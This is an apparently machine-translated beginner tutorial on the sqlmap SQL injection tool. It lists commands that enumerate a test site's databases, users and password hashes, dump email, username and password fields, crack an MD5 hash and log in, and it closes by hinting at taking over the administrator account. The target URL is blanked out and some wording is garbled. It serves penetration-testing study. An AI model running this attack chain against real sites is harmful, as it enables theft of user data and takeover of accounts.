Penetration Testing Tools Sqlmap Basic Tutorials

Source: Internet
Author: User
Tags web database microsoft iis

This article is only dedicated to the study of penetration test sqlmap small white, Daniel please bypass.



For network security personnel, mastering the use of penetration tools is an essential skill. However, a no-teacher led by the small white at the beginning of the study, do not know how to start penetration learning, so this article is intended to help these small white primer.

Sqlmap is a very powerful open source SQL Automation injection tool that can be used to detect and exploit SQL injection vulnerabilities. It is developed by the Python language, so running requires a Python environment to be installed.

Now that this article is a basic tutorial, the following are the basics of how to use the tools.

This tutorial is for sqlmap specific application cases, if you need to know more sqlmap information can access the official, or cloud Knowledge and http://

Test environment: Locally built web site with SQL injection point

Note: Sqlmap is only used to detect and exploit the SQL injection point, and can not scan the site of the vulnerabilities, use the scan tool before using to clear the SQL injection point.

Tutorial Start:

First, detection of the injection point is available

<span style= "Font-family:microsoft yahei;font-size:14px;" >c:\python27\sqlmap>python "" </span>

-U: Specify the injection point URL


Injection results show:

(1) The injection parameter ID is get injection, the injection type has four kinds: boolean-based blind, error-based, stacked queries, inine query.

(2) Web Server System for Windows 2003 or XP

(3) Web application Technology: ASP. NET, Microsoft IIS 6.0

(4) database type: SQL Server 2000

There are several query statements in figure A, need user input [y/n], if you are too lazy to input or do not know how to input can let the program automatically input, just add a parameter, command as follows:

<span style= "Font-family:microsoft yahei;font-size:14px;" >c:\python27\sqlmap>python ""--batch</span>

Second, Bauku

A single command exposes all database names in the SQL Server command as follows:

<span style= "Font-family:microsoft yahei;font-size:14px;" >c:\python27\sqlmap>python ""--dbs</span>


There are two bars in front of the--dbs:dbs, please see clearly.


The results show that SQL Server contains 7 databases that are available.

Third, the database currently used by the Web

<span style= "Font-family:microsoft yahei;font-size:14px;" >c:\python27\sqlmap>python ""--current-db</span>

Iv. use of the Web database account

<span style= "Font-family:microsoft yahei;font-size:14px;" >c:\python27\sqlmap>python ""--current-user</span >

V. List all users of SQL Server

<span style= "Font-family:microsoft yahei;font-size:14px;" >c:\python27\sqlmap>python ""--users</span>

Vi. Database account and password

<span style= "Font-family:microsoft yahei;font-size:14px;" >c:\python27\sqlmap>python ""--passwords</span>

Vii. listing tables in a database

<span style= "Font-family:microsoft yahei;font-size:14px;" >c:\python27\sqlmap>python ""-D tourdata--tables</ Span>

-D: Specify the database name

--tables: List Tables


The results reflect a total of 34 tables.

Viii. listing fields in a table

<span style= "Font-family:microsoft yahei;font-size:14px;" >c:\python27\sqlmap>python ""-D tourdata-t UserB-- Columns</span>


-D: Specify the database name

-T: Specify a table to list fields

--columns: Specify list fields


The results show that the UserB table contains 23 fields.

Nine, the Storm field content

<span style= "Font-family:microsoft yahei;font-size:14px;" >c:\python27\sqlmap>python ""-D tourdata-t userb-c "email , Username,userpassword "--dump</span>

-C: Specify the field to be burst

--dump: Export the results


If the field is too much, it takes a lot of time. You can specify the export of a specific range of field content, with the following command:

<span style= "Font-family:microsoft yahei;font-size:14px;" >c:\python27\sqlmap>python ""-D tourdata-t userb-c "email , Username,userpassword "--start 1--stop--dump</span>

--start: Specifies the starting line

--stop: Specifies the end of the line

The meaning of this command is: Export the data contents of rows 1th through 10th in the field (Email,username,userpassword) in table UserB in database Tourdata.

The results are as follows:

X. Verification of results

One of the user information that you see through the results is:

Email:[email protected]



By MD5 decryption, the original password to get the hash is: 123456

Get the account password we will test whether you can log in, the results are as follows:

Verify success!

Of course, we just get the ordinary member account to log in, you can also get the Administrator account to log in, behind the things to play it, hey!

Penetration Testing Tools Sqlmap Basic Tutorials

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